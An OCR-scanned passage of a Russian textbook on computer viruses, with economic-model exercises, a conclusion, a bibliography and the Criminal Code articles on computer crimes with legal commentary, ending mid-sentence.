задания ДЛЯ САМОСТОЯТЕЛЬНОГО ВЫПОЛНЕНИЯ 1. Докажите, что следующие функции обладают всеми свойствами функции полезности: а) степенная аддитивная и(х) = £а,л“' , аг>0, 0<а,<Г. i=i б) степенная мультипликативная и(х) = ПА<а'’ Хсг'<1; I । в) логарифмическая и(х)-ln(l + fe,if), а,>0, b, >0; г) постоянной эластичности замещения н(х)= Р,>0, 0<д<1, -1<р*0. 2. Докажите, что в модели противостояния из раздела 3.3 для функ ции активности КВ (3.3) в случае, когда затраты вирмэйкера и общества положительны, активность КВ в точке равновесия по Нэшу зависит лишь от двух параметров мебели коэффициента чувствительности общества к вирусной активности р и коэффициента эффективности мероприятий по обеспечению антивирусной безопасности С2. 3 Пользуясь результатами решения предыдущей задачи, найдите аналитическое решение уравнения 100
описывающего точку равновесия пс Нэшу в модели противостояния из раздела 3.3 для функции активности КВ (3.3) при уаювни положительно- сти затрат вирмзйкера и общества. 4. Пользуясь результатами решения предыдущей задачи, найдите аналитическое выражение для коэффициента эффективности антивирус- ных мероприятий при котором достигается максимум затрат общества в точке равновесия по Нэшу в модели противостояния из раздела 3.3 для функции активности КВ (3.3) при условии положительное ги затрат вир мэй кера и общества. 5. Исследуйте модель взаимодействия вирмзйкера и общества в рас ширенной постановке G = (z,G<Bp A.z2>0; М],м2) в предположении, что пространство товаров для вирмзйкера двумерно, причем одно из измерений описывает инвестиционный процесс в разра ботку КВ, а другое - ситуацию с потребительской корзиной вирмзйкера как члена общества. Для функций выигрыша сторон, полученных у преподавателя, ис- следуйте влияние бюджетных ограничений и цены потребительской кор- зины вирмзйкера на положение точки равновесия по Нэшу. Указание Используйте в качестве вектора цен вектор с единичной первой компонентой: р = [1, р] 6. Постройте модель конкуренции на рынке антивирусного про- граммного обеспечения для двух производителей, стремящихся максими зировать затраты общества на антивирусную защиту, с одной стороны, и захватить максимальную для себя долю рынка, с другой. 101
ЗАКЛЮЧЕНИЕ Данное учебное пособие является теоретическим введением в про- блематику разрушающих программных воздействий. Изучение имеющего- ся в пособии материала и работа над заданиями для самостоятельного вы полнения позволит 1) свободно ориентироваться в терминологии предметной области; 2) давать правовую оценку инцидентов с программным обеспечени ем на заданном уровне информированности субъекта оценки; 3) сформировать навыки синтеза формальных политик безопасности для заданных формальных моделей угроз; 4) познакомиться с концепцией электронной цифровой подписи; 5) осознать огромную роль криптографических методов защиты ин- формации в современных антивирусных технологиях; 6) адекватно оценивать возможности компьютерных вирусов и ог- раничения антивирусных технологий; 7) по-новому взглянуть на проблему существования компьютерных вирусов в ее связи с «человеком экономическим»; 8) получить навыки использования математических и инструмен- тальных методов анализа рисков, связанных с угрозами распространения компьютерных вирусов. Следует отметить, что знакомство с теоретическими построениями, представленными в пособии, обязательно при дальнейшем изучении пред- мета. Так, при анализе и синтезе алгоритмов практического обнаружения вредоносных программ и программных компонент важно знание теорети- ко-множественных и теоретико-алгоритмических моделей разрушающих программных воздействий, при разработке технологий противодействия разрушающим программным воздействиям необходимо знакомство с субъектно-объектной моделью вычислительных систем и, наконец, при разработке комплексных систем защиты информации велика роль принци- пов экономической оптимальности вырабатываемых решений. 102
библиографический список 1 Безруков Н Н Классификация компьютерных вирусов MS-DOS и методы зашиты от них. — М : Информэйшн Компьютер Энтерпрайз, 1990. — 48 с. 2 Бизнес - Безопасность - Телекоммуникации. Терминологический словарь. - М Радио и связь, 2001 — 304 с. 3 Вехов В Б Компьютерные преступления: Способы совершения и раскрытия. М Право и Закон, 1996. — 182 с. 4 . Грушо А. А., Тимонина Е. Е. Теоретические основы защиты ин- формации. - М.: Изл-во Агентства «Яхтсмен», 1996. - 192 с. 5 Козлов Д. А , Парандовский А. А., Парандовский А. К. Энцикло- педия компьютерных вирусов. - М.: СОЛОН-Р, 2001. - 457 с. 6 Программно-аппаратные средства обеспечения информационной безопасности. Защита программ и данных / П Ю Белкин, О О Михаль- ский, А. С. Першаков и др. УЛ:. Радио и связь, 1999. - 168 с. 7 . Расторгуев С. П. Инфицирование как способ защиты жизни. Виру- сы: биологические, социальные, психические, компьютерные. - М.: Изд-во Агентства «Яхтсмен», 1996. - 336 с 8 Столлингс В. Операционные системы. - М: Издательский дом «Вильямс», 2002. 848 с. 9 . Таненбаум Э. Современные операционные системы. - СПб.: Пи- тер, 2002. - 1040 с 10 . Теоретические основы компьютерной безопасности / П. Н. Девя- нин, О. О. Михальский, Д. И. Правиков и др. — М.: Радио и связь, 2000. - 192 с. 11 . Хоффман Л. Дж Современные методы защиты информации. - М Сов. радио, 1980 - 262 с. 103
Приложение 1. Глава 28 Уголовного кодекса Российской Федерации «Преступления в сфере компьютерной информации»1 с комментариями Статья 272. Неправомерный допуп к компьютерной информации Часть I. Неправомерный доступ к охраняемой законом компьютер- ной информации, то есть информации на машинной носителе, в электрон- но-вычислительной машине (ЭВМ), системе ЭВМ или их сети, если это деяние повлекло уничтожение, блокирование, модификацию либо копиро- вание информации, нарушение работы ЭВМ, системы ЭВМ или их сети, - наказывается штрафом в размере от двухсот до пятисот минимальных раз- меров оплаты труда или в размере заработной платы или иного дохода осужденного за период от двух до пяти месяцев, либо исправительными работами на срок от шести месяцев да одного года, либо лишением свобо- ды на срок до двух лет. Часть 2. То же деяние, совершенное группой лиц по предваритель- ному сговору или opi анизованной группой, либо лицом с использованием своего служебного положения, а равно имеющим доступ к ЭВМ, системе ЭВМ или их сети, - наказывается шзрафом в размере от пятисот до вось- мисот минимальных размеров оплаты труда или в размере заработной пла- ты или иного дохода осужденного за период от пяти до восьми месяцев, либо исправительными работами на срок от одного года до двух лет, либо арестом на срок от трех до шести месяцев, либо лишением свободы на срок до пяти лет. Комментарий к стат ье 272 1 Объектом неправомерного доступа к компьютерной информации как преступления являются права на информацию ее владельца и третьих лиц. 2. Обособление данной уголовно-правовой нормы вызвано специфич- ностью компьютерной информации как предмета преступного посягатель- ства. Основную сложность при расследовании и судебном рассмотрении преступлений в сфере компьютерной информации представляет несовер шенсгво норм современного российского законодательного права’ 1 Уголовный кодекс Российской Федерации Официальный текст по состоянию на 18 апреля 2002 г Серия. Российская правовая библиотека -М Норма. 2002 -144 с Комментарий к Уголовному кодекс} Российской Федерации / 11ол ред. К) И Скура- това, В. М Лебедева М.: Иифра-М. 2002. - 896 с. ’ I lanniH С А 1 (рименеиие электронно-вычислительной техники и доказательственное право И Право и информатика - М . 1990 -С. 71 - 89
Под информацией понимаются сведения о лицах, предметах, фактах, событиях, явлениях и процессах независимо от формы их представления (ст. 2 Федерального закона «Об информации, информатизации и защите информации» от 20 февраля 1995 г.). Компьютерная информация - это информация, зафиксированная на машинном носителе или передаваемая по телекоммуникационным каналам в форме, доступной восприятию ЭВМ Особенность компьютерной информации заключается в ее относи- тельно простых пересылке, преобразовании, размножении; при изъятии информации, в отличие от изъятия вещи, она легко сохраняется в первоис- точнике, доступ к одному и тому же файлу, содержащему информацию, могут одновременно иметь несколько пользователей. Условия использования компьютерной информации в уголовном су- допроизводстве отражены в предпринятом Верховным Судом СССР еще в 1982 г. обзоре судебной практики 3. По делам о данном преступлении должно быть установлено, что компьютерная информация, к которой осуществлен доступ, охраняется за- конодательством о государственной тайне, о собственности, об авторском праве или другое, что самим фактом несанкционированного к ней доступа нарушены прерогативы государства, права собственника, владельца, авто- ра или другого юридического либо физического лица. Под охраной закона находятся также частная жизнь человека, коммерческая тайна, тайна со- общений. В силу ст. 6 Федерального закона «Об информации, информатизации и защите информации» информационные ресурсы находятся в собственно- сти юридических и физических лиц, включаются в состав их имущества и на них распросграняется действие гражданского законодательства. В част ности, важное значение имеют ст. 209 и гл. 20 Гражданского кодекса Рос- сийской Федерации (ГК РФ Так, ст. 304 ГК РФ устанавливает, что «соб- ственник может требовать устранения всяких нарушений его нрава, хотя бы эти нарушения и не были соединены с лишением владения»; именно такого рола нарушения прав собственника, как правило, характерны для преступлений в сфере компьютерной информации Компьютерная информация в виде программ для ЭВМ, баз данных яв- ляется предметом авторского нрава (ст. 3 Закона РФ от 23 сентября 1992 г. «О правовой охране программ для электронных вычислительных машин н баз данных»). 4. Данная статья уголовного закона предусматривает ответственность за неправомерный доступ к информации, лишь если она запечатлена на машинном носителе, в ЭВМ, системе ЭВМ или их сети. Машинные носители, к которым относят всякого рода магнитные дис- ки, магнитные ленты, магнитные барабаны, перфокарты, полупроводнико- 1 Бюллетень Верховного суда СССР - 1982. № 6. - С 22 105
вые схемы и прочее, классифицируются в зависимости от их физических и конструктивных особенностей. Компьютерная информация может также содержаться в памяти ЭВМ, которая реализуется через перечисленные машинные носители, исполь- зуемые как запоминающие устройства внешние, т е. произвольно уста- навливаемые (как, например, дискета), или внутренние, включенные в кон- струкцию ЭВМ. Запоминающее устройство, реализующее внутреннюю память ЭВМ, непосредственно связано с процессором и содержит данные, непосредственно участвующие в его операциях. Компьютерная информация может передаваться по телекоммуникаци- онным каналам из одной ЭВМ в другую, из ЭВМ на устройство отображе- ния (дисплей, например), из ЭВМ на управляющий датчик оборудования. Телекоммуникационные каналы с соответствующим пршраммным обес- печением связывают отдельные ЭВМ в систему или сеть (см. п. 16 ком- ментария). Таким образом, данная норма уголовного таконодательез ва оберегает компьютерную информацию, где бы она ни содержалась и ни циркулиро- вала: в памяти ЭВМ, в каналах связи, на обособленных от ЭВМ машинных носи гелях. Получение доступа к информации пользователей с помощью про- грамм типа «троянский конь», которые, проникая в ЭВМ, имитируют нор- мальную ее работу и одновременно, нешасно для пользователя, собирают интересующую злоумышленника информацию (возможно, конфиденци- альную), образует состав неправомерного доступа к компьютерной ин- формации. Неправомерный доступ к записям программ для ЭВМ к первичным документам баз данных и другой подобной информации, выполненной в виде записи рукой человека, отпечатанной на машинке или принтере, на- бранной типографским способом, не подразумевается в данной норме уго- ловного закона и может в соответствующих случаях повлечь ответствен ность лишь по другим статьям Особенной части Уголовного кодекса (ст. 137, 138, 183 и др.). 5. Объективную сторону данного преступления составляет неправо- мерный доступ к охраняемой законом компьютерной информации, если это деяние повлекло уничтожение, блокирование, модификацию либо ко- пирование информации, нарушение работы ЭВМ, системы ЭВМ или их се- ти. 6. Под доступом к компьютерной информации подразумевается всякая форма проникновения к ней с использованием средств (вещественных и интеллектуальных) электронно-вычислительной техники, позволяющая манипулировать информацией (уничтожать ее, блокировать, модифициро- вать. копировать). 106
Овладение ЭВМ, не имеющей источников питания, а также машин- ным носителем информации как вещью, нс рассматривается как доступ к компьютерной информации и в соответствующих случаях может повлечь ответственность по статьям о преступлениях против собственности или самоуправстве. Точно так же не образует объективной стороны данного преступления уничтожение или искажение компьютерной информации путем внешнего воздействия на машинные носители теплом, магнитными волнами, меха- ническими ударами и другими подобными методами Несанкционированное проникновение к органам управления ЭВМ или в сеть ЭВМ следует рассматривать как приготовление к доступу к компью- терной информации. 7. Доступ к компьютерной информации считается неправомерным, ес- ли: • лицо не имеет права на доступ к данной информации; • лицо имеет право.на доступ к данной информации, однако осущест- вляет его помимо установленного порядка, с нарушением правил ее защи- ты. 8 Статьи 10 и 11 Федерального закона «Об информации, информати- зации и защите информации», устанавливая что государственные инфор- мационные ресурсы Российской Федерации являются открытыми и обще- доступными, делают исключение для документированной информации, отнесенной законом к категории ограниченного доступа (отнесенной к го- сударственной тайне и конфиденциальной). Доступ к последней категории информации имеют определенные законодательством, ведомственными нормативными актами и должностными инструкциями лица. Пользователи, имеющие допуск к одной информационной системе или к ЭВМ коллективного пользования, обыкновенно ранжируются в за- висимости от тех операций, которые им дозволено совершать, - от элсмен тарного просмотра информации на экране дисплея до права вносить изме- нения в используемые системой базы данных и даже в программу по ко торой действует система; некоторые файлы доступны лишь для опреде- ленной группы пользователей. Несанкционированное повышение пользо- вателем собственного ранга (например, при использовании чужого пароля) должно рассматриваться как неправомерный доступ к компьютерной ин- формации или приготовление к нему. 9. «Использование информации сопровождаегся строгим соблюдени- ем требований ее защиты ... Нарушение требований защиты информации расценивается как несанкционированный доступ к информации» (Концеп- ция правовой информатизации России, утвержденная Указом Президента РФ от 28 июня 1993 г., № 966). В соответствии с ч. 1 ст. 21 Федерального закона «Об информации, информатизации и защите информации» защите подлежит любая докумен- 107
тированная информация, неправомерное обращение с которой может на- нести ущерб ее собственнику, владельцу, пользователю и иному лицу. При этом режим защиты информации устанавливается федеральным законом либо собственником информационных ресурсов, а также специально упол- номоченными на то лицами. Конкретные средства защиты компьютерной информации многооб- разны. Это общие охранные средства (пропускной режим, сигнализация, военизированная охрана), дифференциация возможностей пользователей, а также всякого рода интеллектуальные средства, затрудняющие несанкцио- нированный доступ к компьютерной информации (индивидуальные коды доступа, идентифицирующий диалог с системой и др.). При попытке об- ращения ненадлежащего лица к запретным для него блокам компьютерной информации происходит автоматическое прерывание работы программы; иногда подаются звуковые сигналы, экран дисплея начинает особым обра- зом мигать, привлекая внимание персонала. Программные средства защиты компьютерной информации могут быть созданы собственником информации либо по его заказу индивиду- альным образом; чаще всего применяются типовые средства защиты, вхо- дящие в программное обеспечение ЭВМ. Средства защиты информационных систем органов государственной власти Российской Федерации и ее субъектов, других государственных ор- ганов, организаций, которые обрабатывают документированную информа- цию с ограниченным доступом, подлежат обязательной сертификации; ор- ганизации, выполняющие работы в области проектирования, производства средств защиты компьютерной информации, получают лицензии на этот вид деятельности (ч. 2 и 3 Федерального закона «Об информации, инфор- матизации и защите информации»; Положение о сертификации средств защиты информации, утвержденное Постановлением Правительства Рос- сийской Федерации «О сертификации средств защиты информации» от 26 июня 1995 г., № 608). Неправомерный доступ к компьютерной информации часто сопрово- ждается нейтрализацией интеллектуальных средств ее защиты. Такие дей- ствия уже сами по себе могут образовывать состав оконченного преступ- ления, предусмотренного данной статьей Уголовного кодекса, либо, если при этом не наступили последствия в виде уничтожения, блокирования, модификации либо копирования компьютерной информации (соответст- вующей «сторожевой» программы для ЭВМ), должны рассматриваться как покушение на неправомерный доступ к компьютерной информации. 10. Уничтожение компьютерной информации - это стирание ее в па- мяти ЭВМ. Одновременный перевод информации на другой машинный носитель не считается в контексте уголовного закона уничтожением ком- пьютерной информации лишь в том случае, если в результате этих дейст- 108
вий доступ правомерных пользователей к информации не оказался суще- ственно затруднен либо исключен. Имеющаяся у пользователя возможность восстановить уничтоженную информацию с помощью средств программного обеспечения или получить данную информацию от другого пользователя не освобождает виновного от ответственности. Уничтожением информации не является переименование файла, где она содержится, а также само по себе автоматическое «вытеснение» ста- рых версий файлов последними по времени. 11. Блокирование компьютерной информации - это искусственное за- труднение доступа пользователей к компьютерной информации, не свя- занное с ее уничтожением. 12. От уничтожения н блокирования компьютерной информации сле- дует отличать вывод из строя компьютерной программы; в последнем слу- чае программа для ЭВМ может быть доступна как организованная в виде файла информация, но не как объект взаимодействия с пользователем. Вывод из строя компьютерной программы может в соответствующих случаях рассматриваться как преступление, предусмотренное ст. 141, 267, 273, 281 и другими статьями Уголовного кодекса. В случае, если причиной выхода из строя компьютерной программы оказались уничтожение или блокирование компьютерной информации, ко- торой должна оперировать программа, деяние следует квалифицировать как неправомерный доступ к компьютерной информации. 13. Модификация компьютерной информации — это внесение в нее любых изменений, кроме связанных с адаптацией программы для ЭВМ или базы данных. Адаптация программы для ЭВМ или базы данных — «это внесение из- менений, осуществляемых исключительно в целях обеспечения функцио- нирования программы для ЭВМ или базы данных на конкретных техниче- ских средствах пользователя или под управлением конкретных программ пользователя» (ч. 1 ст. 1 Закона РФ от 23 сентября 1992 г. «О правовой ох- ране программ для электронных вычислительных машин и баз данных»), 14. Копирование компьютерной информации - это повторение и ус- тойчивое запечатление ее на машинном или ином носителе. Копирование компьютерной информации может быть осуществлено путем записи со- держащегося во внутренней памяти ЭВМ файла на дискету, его распечатки и т. д. Копирование компьютерной информации от руки, путем фотогра- фирования текста с экрана дисплея, а также считывание информации пу- тем перехвата излучений ЭВМ, расшифровки шумов принтера и прочее не подразумевается в диспозиции данной статьи Уголовного кодекса. От копирования компьютерной информации в смысле, придаваемом этому понятию данной нормой уголовного закона, следует отличать раз- множение информации. В последнем случае информация повторяется не 109
на обособленном от оригинального носителе, а на оригинальном носителе (например, в памяти ЭВМ заводятся несколько файдов одною и того же содержания) либо на однородном носителе, оставшемся в распоряжении пользователя (например, копия заводится в памяти ЭВМ, образующей с данным компьютером систему, либо на дискете, сознательно оставленной в компьютере). В вину лицу, проникшему к компьютерной информации для ознаком- ления с ней, не может быть поставлено ее копирование, обусловленное не- зависящим от его воли автоматическим действием программных средств правомерного пользователя (например, если файлы периодически копиру- ются при всяком обращении к ним кого бы то ни было). Копирование компьютерной информации следует рассматривать как неблагоприятное последствие, предусмотренное данной статьей уголовно- го закона, лишь в том случае, если она охраняется законом именно от не- санкционированного копирования. 15. Нарушение работы ЭВМ, системы ЭВМ или их сети - это времен ное или устойчивое создание помех для их функционирования в соответ ствии с назначением. Нарушение работы ЭВМ может быть следствием: • поражения компьютерной информации в собственном смысле этого термина; • выхода из строя программного обеспечения; • нарушения целостности техники, на которой реализовано (установ- лено) данное программное обеспечение; • повреждения систем свя тн При этом речь идет не только о затруднениях, непосредственно свя- занных с манипуляциями в памяти ЭВМ, но и о помехах, проявляющихся на экране дисплея, при распечатывав ин и копировании компьютерной ин- формации. а также на всякого рода периферийных устройствах и управ- ляющих датчиках оборудования 16. ЭВМ это вычислительная машина, преобразующая информацию в ходе своего функционирования в числовую форму. Термин «компьютер» употребляется в том же смысле, что и термин «ЭВМ» Малогабаритная ЭВМ, установленная на рабочем месте пользователя, именуется персо- нальной ЭВМ, или персональным компьютером Несколько ЭВМ могут быть объединены в систему ЭВМ для совокуп- ного решения задач (например, когда у каждой из них в отдельности не хватает мощности или быстродействия). Такое объединение предпола1ает их связь телекоммуникационными каналами, программное, ресурсное, ор- ганитационное обеспечение их взаимодействия Сеть ЭВМ - это способ установления связи между удаленными ЭВМ, пользователи сети ЭВМ получают техническую возможность доступа к информации, циркулирующей в сети и других свя тайных с нею ЭВМ, со своих рабочих мест. Это не исключает ранжирования возможностей поль- 110
зователей. установления барьеров на пути проникновения любого из них к закрытой для него компьютерной информации. Федеральный закон «О связи» от 16 февраля 1995 г. устанавливает, что «Средства связи вместе со средствами вычислительной техники со- ставляют техническую базу обеспечения процесса сбора, обработки, нако- пления и распространения информации» (ч 2 ст. 1 Федерального закона). Сети электросвязи создаются, в частности, для обеспечения обмена ин- формацией между ЭВМ (ст. 2 Федерального закона). К сетям электросвязи Законом отнесены. • взаимоувязанная сеть связи Российской Федерации - комплекс тех- нологически сопряженных сетей электросвязи на территории Российской Федерации, обеспеченный общим централизованным управлением, • сеть связи общего пользование - составная часть взаимоувязанной сети связи Российской Федерации, открытая для пользования всем физиче- ским и юридическим лицам, в услугах которой этим лицам не может быть отказано; • ведомственные сети связи - сети электросвязи министерств и иных федеральных органов испозннтельной власти, создаваемые для удовлетво- рения производственных и специальных нужд, имеющие выход на сеть связи общего пользования: • внутрипроизводственные и технологические сети связи - сети элек- тросвязи федеральных органов исполнительной власти, а также предпри- ятий, учреждений и организаций, создаваемые для управления внутрипро- изводственной деятельностью и технологическими процессами, не имею- щие выхода на сеть связи общего пользования; • выделенные сети связи — сети электросвязи физических и юридиче- ских лиц, не имеющие выхода на сеть связи общего пользования. Посредством этих сетей связи пользователь ЭВМ может иметь доступ к международным сетям связи, а также к сетям связи, созданным в отдель- ных зарубежных странах. Надо иметь в виду, что ЭВМ не обязательно постоянно включена в сеть связи. Имеется возможность временно отключаться от сети и блоки- ровать поступления извне компьютерной информации. Пользователь, чей компьютер нс подключен к сети на постоянной основе, может по телефону получить код доступа к определенной сети на определенное время (ска- жем, на час или два). 17. О понятии совершения преступления группой лип но предвари- тельному сговору илн организованной группой см. комментарий к ст. 35 Уголовного кодекса. 18. Под использованием служебного положения понимается здесь ис- пользование возможности доступа к ЭВМ, возникшей в результате выпол- няемой работы (по трудовому, i ражщиско-правовому договору) или влия III
ния по службе на лиц, имеющих такой доступ. В данном случае субъектом преступления не обязательно является должностное лицо. Лицом, имеющим доступ к ЭВМ, является всякий, кто на законных основаниях работает на ней нли обслуживает непосредственно ее работу (программисты, сотрудники, вводящие информацию в память ЭВМ, другие пользователи, а также администраторы баз данных, инженеры-электрики, ремонтники, специалисты по эксплуатации вычислительной техники и проч.). Лица, имеющие доступ в помещение, где расположена ЭВМ, не считаются имеющими доступ к ЭВМ, если они непосредственно не сопри- касаются с компьютерной информацией или с устройством оборудования, например, таковы уборщицы, специалисты по кондиционированию поме- щений, разносчики расходных материалов, составители первичной доку- ментации на бумажных носителях и проч. 19 Неправомерный доступ к компьютерной информации осуществля- ется, как правило, по двум причинам: из «спортивного интереса», т. е для проверки и демонстрации собственной квалификации или удовлетворения собственного любопытства; в целях совершения другого преступления. Внедрение безбумажных технологий и средств вычислительной тех- ники в управленческую и производственную деятельность позволяет со- вершать многие преступления, самыми распространенными из которых являются предусмотренные ст. 137 (нарушение неприкосновенности част- ной жизни), 138 (нарушение тайны сообщений), 146 (нарушение авторских и смежных прав), 147 (нарушение изобретательских и патентных прав), 159 (мошенничество), 176 (незаконное получение кредита), 183 (незакон- ное получение и разглашение сведений, составляющих коммерческую или банковскую тайну), 199 (уклонение от уплаты налогов с организаций), 237 (сокрытие информации об обстоятельствах, создающих опасность для жизни или здоровья людей), 275 и 276 (шпионаж) Уголовного кодекса. Уничтожение, блокирование модификация информации, важной для действия связанных с управляющими датчиками сложных компьютерных систем оборонного и производственного назначения, способны повлечь гибель людей, причинение^реда их здоровью, непредсказуемое опасное развитие технологических процессов, уничтожение имущества в больших масштабах. 20. Неправомерный доступ к компьютерной информации должен вме- няться соответствующему лицу наряду с теми преступлениями, ради со- вершения которых такой доступ осуществлялся Квалификация содеянного по совокупности не должна производиться исключительно в тех случаях, когда предметом посягательства выступает сама по себе компьютерная информация. Так, уничтожение информации в целях подрыва экономической безопасности и обороноспособности Рос- сийской Федерации должно быть квалифицировано лишь по ст. 281 Уго- ловного кодекса; тайное копирование чужой компьютерной информации 112
для неправомерного обладания ею не требует дополнительной квалифика- ции по ст 158 Уголовного кодекса. 21. Данное преступление может совершаться как с умыслом, так и по неосторожности. Неосторожная форма вины может проявляться при опен- ке лицом правомерности своего доступа к компьютерной информации а также в отношении неблагоприятных последствий доступа, предусмотрен- ных диспозицией данной нормы уголовного закона. 22. Уголовной ответственности за совершение данного преступления подлежит только вменяемое физическое лнпо, достигшее ко времени со- вершения преступления 16-летнего возраста. Статья 273. Создание, использование и распространение вредоносных программ для ЭВМ Часть I. Создание программ для ЭВМ или внесение изменений в су- ществующие программы заведомо приводящих к несанкционированному уничтожению, блокированию, модификации либо копированию информа- ции нарушению работы ЭВМ системы ЭВМ или их сети, а равно исполь- зование либо распространение таких программ или машинных носителей с такими программами - наказываются лишением свободы на срок до трех лет со штрафом в размере от двухсот до пятисот минимальных размеров оплаты труда или в размере заработной платы или иного дохода осужден ного за период от двух до пяти месяцев. Часть 2. Те же деяния, повлекшие по неосторожности тяжкие по- следствия. - наказываются лишением свободы на срок от трех до семи лет. Комментарий к статье 273 I. Объектом данного преступления является безопасность пользования интеллектуальными и вещественными средствами вычислительной техни- ки. 2. Объективную сторону данного преступления составляют создание, использование и распространение вредоносных программ для ЭВМ, а рав- но внесение вредоносных изменений в существующие программы. 3. Программа для ЭВМ - это объективная форма представления сово- купности данных и команд, предназначенных для функционирования ЭВМ с целью получения определенного результата (ст. 1 Закона РФ «О право- вой охране программ для электронных вычислительных машин и баз дан- ных»), 1 (рограмма реализует алгоритм решения какой-либо задачи. 113
4. Создание программы для ЭВМ - это написание ее алгоритма, т.е последовательности логических команд, с дальнейшим преобразованием его в машинный язык ЭВМ Внесение изменений в существующую программу означает изменение ее алгоритма путем исключения его фрагментов, замены их другими, до- полнения его. Внесение изменений в существующую программу может быть элементом объективной стороны данного преступления лишь в гом случае, если виновный исправил работающую в ЭВМ программу либо рас- пространил исправленную программу на любом носителе Ответственность по данной норме уголовного закона должна насту- пать и в том случае, если изменения в существующую программу вносятся лицом не непосредственно, а посредством специальной программы для ЭВМ, разработанной для внесения соответствующих изменений. 5 Под несанкционированным уничтожением, блокированием моди- фикацией копированием информации понимаются не разрешенные зако- ном, собственником информации или другим компетентным пользовате- лем указанные действия О понятиях уничтожения, блокирования, модификации, копирования информации см комментарий к ст. 272 Уголовного кодекса Вредоносность или полезность соответствующих программ для ЭВМ определяется не в зависимости от их назначения, способности уничтожать, блокировать, модифицировать, копировать информацию (это - вполне ти- пичные функции абсолютно легальных программ), а в связи с тем, предпо- лагает ли их действие, во-первых, предварительное уведомление собствен- ника компьютерной информации или другого добросовестного пользова- теля о характере действия программы, а во-вторых, получение ei о согласия (санкции) на реализацию программой своего назначения. Нарушение одно- го из этих требований делает программу для ЭВМ вредоносной Вредоносность так называемых «компьютерных вирусов» связана с нх свойством самовоспроизводи гься и создавать помечи в работе на ЭВМ без ведома и санкции добросовестных пользователей Вирусные программы обычно включают команды, обеспечивающие самокопирование и маски- ровку. 6. О понятиях нарушения работы ЭВМ, системы ЭВМ или их сети см. комментарий к ст. 272 Уголовного кодекса. 7. Программа считается приводящей к указанным в данной норме уго- ловного закона неблагоприятным последствиям, если именно ее функци нирование вызывает уничтожение, блокирование, модификацию, копиро- вание компьютерной информации 8. О понятии машинного носителя см. комментарий к ст. 272 Уголов- ного кодекса. 9. Использование программы для ЭВМ - это выпуск ее в свет, воспро- изведение и иные действия по введению ее в хозяйственный оборот в из- 114
начальной или модифицированной форме, а также самостоятельное при менение этой программы но назначению Под использованием машинного носителя с такой программой пони- мается всякое его употребление с целью использования записанной на нем программы для ЭВМ Использование вредоносной программы для ЭВМ для личных нужд (например, для уничтожения собственной компьютерной информации) не наказуемо 10 Распространение программы для ЭВМ - это предоставление дос- тупа к воспроизведенной в любой материальной форме программе для ВМ в том числе сетевыми и иными способами, а также путем продажи, проката, сдачи внаем, предоставления взаймы, а также создание условий для самораспространения программы Под распространением машинного носителя с про1раммой для ЭВМ понимается его передача на каких бы то ни было условиях третьим лицам. 11. Под тяжкнми последствиями создания, использования или распро- странения вредоносных программ для ЭВМ понимаются безвозвратная ут- рата особо ценной информации, выход из строя важных технических средств (например, систем оборонного назначения аэронавигационной техники), повлекший несчастные случаи с людьми, аварии, катастрофы. 12 В случае, если действие вредоносной программы было условием совершения липом другого преступления, деяния должны бы ь квалифи- цированы по совокупности вне зависимости от степени тяжести другого преступления. 13. Создание, использование и распространение вредоносных про- грамм для ЭВМ - это преступление, совершаемое только с прямым умыс- лом Лицо понимает, что программа в имеющемся виде вредоносна, заве- домо знает, что опа способна вызвать указанные неблагоприятные послед- ствия Лицо, создавшее, использовавшее вредоносную программу, распро- странившее ее через третьих лиц, отвечает за возникшие тяжкие последст- вия, если оно предвидело возможность наступления этих последствий. Преступная небрежность в данном случае не вменяется в вину, если между созданием, использованием и распространением вредоносной программы и соответствующими тяжкими последствиями так много промежуточных звеньев, ч о субъект явно не может предвидеть столь опасный результат 14. Уголовной ответственности за совершение данного преступления подлежит только вменяемое физическое лицо, достигшее ко времени со- вершения преступления 16-летнего возраста. Закон не требует, чтобы это лицо занимало определенную должность, занималось определенной дея- тельностью, получило определенное образование. 115
Статья 274. Нарушение правил эксплуатации ЭВМ, системы ЭВМ или их сети Часть I Нарушение правил эксплуатации ЭВМ системы ЭВМ или их сети лицом, имеющим доступ к ЭВМ, системе ЭВМ или нх сети, по- влекшее уничтожение, блокирование или модификацию охраняемой зако- ном информации ЭВМ, если это деяние причинило существенный вред, - наказывается лишением права занимать определенные должности или за- ниматься определенной деятельностью на срок до пяти лет, либо обяза- тельными работами на срок от ста восьмидесяти до двухсот сорока часов, либо ограничением свободы на срок до двух лет. 1асть 2 То же деяние, повлекшее по неосторожности тяжкие по- следствия, — наказывается лишением свободы на срок до четырех лет. Комментарий к статье 274 1. Объектом данного преступления является безопасность пользования ингеллектуальными и вещественными средствами вычислительной техни- ки. 2. Правила эксплуатации ЭВМ определяются соответствующими тех- ническими нормативными актами. Они также излагаются в паспортах ка чества, технических описаниях и инструкциях по эксплуатации, переда- ваемых пользователю при приобретении вещественных средств компью- терной техники (ЭВМ и периферийных устройств), в инструкциях по ис- пользованию программ для ЭВМ. Соответствующие инструкции могут из- лагаться на бумажных и машинных носителях, в последнем случае они включаются в программу, которая обеспечивает к ним доступ при желании пользователя. Таким образом, нарушения правил эксплуатации ЭВМ могут быть подразделены на физические (неправильная установка приборов, наруше- ние температурного режима в помещении, неправильное подключение ЭВМ к источникам питания^нерегулярное техническое обслуживание, ис пользование несертифицированных средств защиты и самодельных прибо- ров и узлов) и интеллектуальные (неверное ведение диалога с компьютер- ной программой, ввод данных, обработка которых непосильна данным средствам вычислительной техники). 3. О понятиях ЭВМ, системы ЭВМ. сети ЭВМ; лица, имеющего дос- туп к ЭВМ системе ЭВМ или их сети, уничтожения, блокирования или модификации компьютерной Информации см комментарий к ст. 272 Уго- ловного кодекса. 116
4. Под существенным вредом в диспозиции данной нормы уголовного закона понимается утрата важной информации, перебои в производствен- ной деятельности, необходимость сложного или длительного ремонта средств вычислительной техники, их переналадки, длительный разрыв свя- зей между ЭВМ, объединенными в систему нли сеть. Существенность вреда определяется с учетом имущественного поло- жения и организационных возможностей собственника или владельца ЭВМ 5 Под тяжкими последствиями нарушения правил эксплуатации ЭВМ понимаются безвозвратная утрата особо ценной информации, выход из строя важных технических средств (например, систем оборонного назна- чения, аэронавигационной техники) повлекший несчастные случаи с людьми, аварии, катастрофы. 6. В случае, если нарушение правил эксплуатации ЭВМ повлекло так- же н совершение лицом другого преступления, деяния должны быть ква- лифицированы по совокупности если другое преступление наказывается более строго. Если другое преступление наказывается более мягко, то сле- дует считать, что наступившие неблагоприятные последствия уже подра- зумеваются данной нормой уголовного закона. 7. Нарушение правил эксплуатации ЭВМ может совершаться как с умыслом, так и по неосторожности. 8. Субъектом данного преступления может быть только 